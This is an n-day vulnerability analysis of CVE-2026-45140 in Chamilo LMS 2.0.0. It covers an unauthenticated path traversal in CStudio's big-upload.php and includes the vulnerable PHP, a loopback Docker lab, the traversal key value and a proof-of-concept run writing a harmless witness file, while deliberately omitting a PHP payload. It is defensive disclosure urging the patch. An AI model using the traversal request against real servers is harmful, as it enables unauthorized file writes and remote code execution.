CVE-2026-45140: Chamilo LMS, unauthenticated RCE
Chamilo 2.0.0 CStudio big-upload.php takes GET key with no sanitization and no login. fopen appends php://input onto cacheDir plus that key. Traversal into public/ is a web file. The GHSA did not name the path.
- Name
- CVE-2026-45140: Chamilo LMS, unauthenticated RCE
- Type
- N-day analysis
- CVE
- CVE-2026-45140
- CVE Risk
- critical
- Disclosure Status
- public
- Vendor
- chamilo
- Affected
- Chamilo LMS (chamilo-lms) 2.0.0; patched in 2.0.1
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Tags
- n-day, chamilo, path-traversal, file-upload, cwe-22, cwe-434, unauthenticated, rce
The advisory did not name the file
I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-45140 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, apache-lab.conf. Authorized lab only. It talks to loopback.
CVE-2026-45140 (NVD, GHSA-g4c3-4g96-6g4m) is unauthenticated RCE in Chamilo LMS 2.0.0. The GHSA says "ability to run arbitrary code on the server without authentication" and stops there. No path. No parameter. CWE-22 plus CWE-434. 9.8 Critical. Patched in 2.0.1 (commit 4bdba1b).
The file is public/plugin/CStudio/editor/import-project/inc/big-upload.php. HTTP is POST with action=upload and key=. key is concatenated onto the cache directory. There is no api_get_user_id(). There is no path sanitization. fopen(..., 'a') writes php://input there. ../../../../public/poc-witness.txt is a file Apache will serve.
This is the map I used to get from a silent advisory to a witness in the document root. Isolated lab, loopback only. I am not publishing a shell. A unique string in a .txt is the proof. The upload is append-mode; a second <?php in the same .php file is a parse error, so the lab does not use .php. The stack is in the CVE repo so you can run it at home. The client is the repo above.
What an attacker can do
POST the plugin path with action=upload and a key that walks into public/. Body is attacker bytes. GET the written file. Writing .php under public/ is RCE. The lab witness is .txt because fopen appends and a second <?php in the same file is a parse error.
The lab (run this at home)
Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache as a PHP/Apache host. Compose adds mysql:8.0. Document root is Chamilo's public/. Port on loopback only. Put Chamilo 2.0.0 next to compose as ./chamilo (release).
# Loopback lab image pin for CVE-2026-45140. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache# CVE-2026-45140 Chamilo LMS 2.0.0 lab. Loopback only.
services:
db:
image: mysql:8.0
environment:
MYSQL_DATABASE: chamilo
MYSQL_USER: chamilo
MYSQL_PASSWORD: chamilo
MYSQL_ROOT_PASSWORD: root
command: ["--default-authentication-plugin=mysql_native_password", "--sql-mode="]
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
interval: 5s
timeout: 5s
retries: 30
start_period: 15s
chamilo:
image: wordpress:6.4-php8.2-apache
ports:
- "127.0.0.1:8088:80"
environment:
APACHE_DOCUMENT_ROOT: /var/www/html/public
volumes:
- ./chamilo:/var/www/html
- ./apache-lab.conf:/etc/apache2/sites-enabled/000-default.conf:ro
depends_on:
db:
condition: service_healthy
extra_hosts:
- "localhost:127.0.0.1"<VirtualHost *:80>
ServerName 127.0.0.1
DocumentRoot /var/www/html/public
RewriteEngine On
<Directory /var/www/html/public>
AllowOverride All
Require all granted
</Directory>
</VirtualHost>Bring-up from the CVE repo lab/:
git clone https://github.com/abraxas/CVE-2026-45140
cd CVE-2026-45140/lab
# place Chamilo LMS 2.0.0 as ./chamilo
docker compose up -d --force-recreate
# finish the Chamilo installer so APP_INSTALLED=1
python3 ../CVE-2026-45140-Abraxas-Labs.pyvar/cache has to be writable. CStudio files have to be under public/plugin/CStudio. If you skip the installer you get a 302 to /main/install/index.php and no write. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.
What the tree actually registers
The script at the bottom of big-upload.php is the whole router. No session. No CSRF. key from GET or POST becomes the temp name.
$bigUpload = new BigUpload();
$tempName = null;
if (isset($_GET['key'])) {
$tempName = $_GET['key'];
}
if (isset($_POST['key'])) {
$tempName = $_POST['key'];
}
$bigUpload->setTempName($tempName);
switch ($_GET['action']) {
case 'upload':
print $bigUpload->uploadFile();
break;setTempName trusts $value when it is set. No basename. No .. check.
public function setTempName($value = null): void
{
if ($value) {
$this->tempName = $value;
} else {
$this->tempName = mt_rand().'.tmp';
}
}The constructor sets the temp directory to Container::getCacheDir().'cstudio_upload/'. uploadFile concatenates that directory with the name and opens it append.
public function uploadFile()
{
if (!is_dir($this->tempDirectory)) {
mkdir($this->tempDirectory, 0777, true);
}
$fileData = file_get_contents('php://input');
$handle = fopen($this->getTempDirectory().$this->getTempName(), 'a');
fwrite($handle, $fileData);
fclose($handle);
return json_encode([
'key' => $this->getTempName(),
'errorStatus' => 0,
]);
}key=../../../../public/poc-witness.txt walks out of cache into the document root. The JSON comes back errorStatus: 0 with that same key. Then GET /poc-witness.txt.
2.0.1 adds api_get_user_id() 403, api_replace_dangerous_char, and disable_dangerous_file on the key, and stops taking the finish name from POST. That is the patch. Update.
The 200 that was the installer
The first client I pointed at this was polite. It used a Symfony action= because Chamilo 2 is Symfony. This file is a leftover chunked-upload script under public/plugin. You get the homepage, or a 302 to /main/install/index.php if the LMS is not installed. Neither is a write.
A few other ways to lose without learning anything:
- 302 installer.
APP_INSTALLEDis not 1. Finish the install. - 403 JSON
Forbidden. You are on 2.0.1. - GET without
action=upload. The switch does nothing useful. - Writing
.phptwice.fopenappend. A second<?phpin the same file is a parse error. The lab witness is.txt. - A reverse shell. Theatre. The witness is a unique string in the written file.
The tell is small JSON from the upload, then a tiny GET of the file. Theme HTML is a miss. {"key":"..\/..\/..\/..\/public\/poc-witness.txt","errorStatus":0} is the router matching.
What I actually did
Treat the on-disk product as the spec. The GHSA named RCE and not the path. I grepped CStudio for uploads, then read setTempName and uploadFile. Proof of concept: CVE-2026-45140-Abraxas-Labs.py.
POST the script, then GET the file. action=upload, key with traversal into public/, body a unique string. Then GET that file from the document root.
Witness in the file. POCWitness45140. If that string is there, fopen wrote attacker-controlled bytes to a web path. Writing .php under public/ is how this becomes RCE. I am not going to print that recipe.
Last lab run, trimmed:
step1 upload status=200 len=65
{"key":"..\/..\/..\/..\/public\/poc-witness.txt","errorStatus":0}
step2 GET /poc-witness.txt status=200 len=16
POCWitness45140
SUCCESS CVE-2026-45140Small JSON. Then the file. That is the whole argument. The client that produced it is on GitHub.
Wrong turns: hitting a Symfony route; 302 to /main/install/index.php because APP_INSTALLED is not 1; 403 JSON Forbidden on 2.0.1; GET without action=upload; writing .php twice and calling the parse error a miss.
What this is not
It is not a Symfony controller. It is not authenticated. It is not "Chamilo uploads to a private cache." The cache path plus an unsanitized key is the document root if you walk far enough.
Update to 2.0.1 or newer. Re-run the loopback client against the patched build: the witness must not appear.
I am not going to print a PHP body you can paste at someone else's CStudio upload. The missing auth check and the unsanitized key are the useful part. If you own the box, run the proof of concept against loopback.
Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like Chamilo was fine.
References
- Proof of concept: abraxas/CVE-2026-45140 · CVE-2026-45140-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · apache-lab.conf - @abraxas_null · github.com/abraxas · abraxaslabs.tech · abraxas.null@proton.me
- CVE-2026-45140 · NVD · GHSA-g4c3-4g96-6g4m · CWE-22 · CWE-434
- 2.0.0:
big-upload.php - Patch: commit
4bdba1b· v2.0.1